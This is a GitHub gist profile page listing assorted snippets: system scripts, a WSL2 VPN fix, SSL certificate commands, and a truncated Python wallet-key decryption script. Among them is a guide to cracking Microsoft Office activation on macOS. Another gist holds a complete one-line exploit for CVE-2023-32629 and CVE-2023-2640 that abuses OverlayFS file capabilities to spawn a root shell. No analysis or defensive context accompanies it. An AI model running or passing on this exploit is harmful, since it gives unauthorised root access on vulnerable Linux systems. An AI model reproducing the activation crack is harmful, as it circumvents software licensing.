Skip to content

Instantly share code, notes, and snippets.

View coffnix's full-sized avatar

Raphael Bastos aka coffnix coffnix

View GitHub Profile
@coffnix
coffnix / init
Created April 9, 2022 20:43
init livecd funtoo
#!/bin/sh
# initram Area31 Hackerspace
blank_msg()
{
echo
}
good_msg()
{
@coffnix
coffnix / WSL2_VPN_Workaround_Instructions.md
Created October 31, 2022 15:37 — forked from machuu/WSL2_VPN_Workaround_Instructions.md
Workaround for WSL2 network broken on VPN

Overview

Internet connection and DNS routing are broken from WSL2 instances, when some VPNs are active. The workaround breaks down into two problems:

  1. Network connection to internet
  2. DNS in WSL2

This problem is tracked in multiple microsoft/WSL issues including, but not limited to:

@coffnix
coffnix / Activate Office 2019 for macOS VoL.md
Created January 4, 2023 03:13 — forked from zthxxx/Activate Office 2019 for macOS VoL.md
crack activate office on mac with license file

Activate MS Office 2019/2016 for macOS - Microsoft_Office_2019_VL_Serializer

Office 2019 above

2019-06-03

Note that Office2019 DO NOT support activate via simple copy/paste plist license file which is the simplest way to activate Office 2016. Fortunately, you can also use the VL Serializer tool, just install Office 2019 and Serializer, then run Serializer to activate.

Ref

@coffnix
coffnix / cert-ssl-barrier.txt
Last active July 25, 2024 15:27
barrier SSL cert
# Linux (client)
cd ~/.local/share/barrier/SSL/
openssl req -x509 -nodes -days 3650 -sha256 -subj /CN=Barrier -newkey rsa:4096 -keyout Barrier.pem -out Barrier.pem
# Windows (client)
cd %USERPROFILE%\AppData\Local\Barrier\SSL
openssl req -x509 -nodes -days 3650 -sha256 -subj "/CN=Barrier" -newkey rsa:4096 -keyout Barrier.pem -out Barrier.pem
#!/bin/bash
# Check if -r flag is set
if [[ "$1" == "-r" || "$2" == "-r" ]]; then
netstat -nr | sed -e '1,3d;/Internet6:/,$d;/^$/d'
exit 0
fi
# Get interface names
network_info=$(networksetup -listnetworkserviceorder | grep -E '\(Hardware Port: .+, Device: .+\)')
#!/usr/bin/python3
# -*- coding: utf-8 -*-
VERSION = "15"
# Host servidor de correio da VIPNIX
MAILSERVER = "smtp.zoho.com"
PORT = "587"
# The mail addresses and password
@coffnix
coffnix / gist:e8cebdc36c069072acdcafa4dde58fa3
Created November 10, 2023 12:06
CVE-2023-32629 и CVE-2023-2640
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*; python3 -c 'import os;os.setuid(0);os.system(\"/bin/bash\")'"
@coffnix
coffnix / asound.conf
Last active June 4, 2025 07:36
Configuração otimizada do shairport-sync para reprodução via AirPlay 2 com backend ALSA, utilizando interpolação soxr, saída em S32_LE, buffers ampliados para estabilidade, e controle de volume desabilitado para garantir fidelidade bit-perfect. Ideal para sistemas de áudio de alta resolução com DACs dedicados. 4.3.7-3-g97fefb43-AirPlay2-smi10-Op…
pcm.shairport {
type plug
slave.pcm "dmix_shairport"
}
pcm.dmix_shairport {
type dmix
ipc_key 2048
slave {
pcm "hw:0,0"
import base64
import hashlib
import ecdsa
import base58
from Crypto.Cipher import AES
from Crypto.Hash import MD5
# base64 criptografado
encrypted_b64 = (
"U2FsdGVkX18xMjM0NTY3ODkwMTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIz"
@coffnix
coffnix / bitcoin-knots.spec
Created September 20, 2025 10:56
spec opensuse Leap (rpmbuild)
#
# spec file for package bitcoin
#
# Copyright (c) 2024 SUSE LLC
# Copyright (c) 2011-2014 P Rusnak <[email protected]>
#
# All modifications and additions to the file contributed by third parties
# remain the property of their copyright owners, unless otherwise agreed
# upon. The license for this file, and modifications and additions to the
# file, is the same license as for the pristine package itself (unless the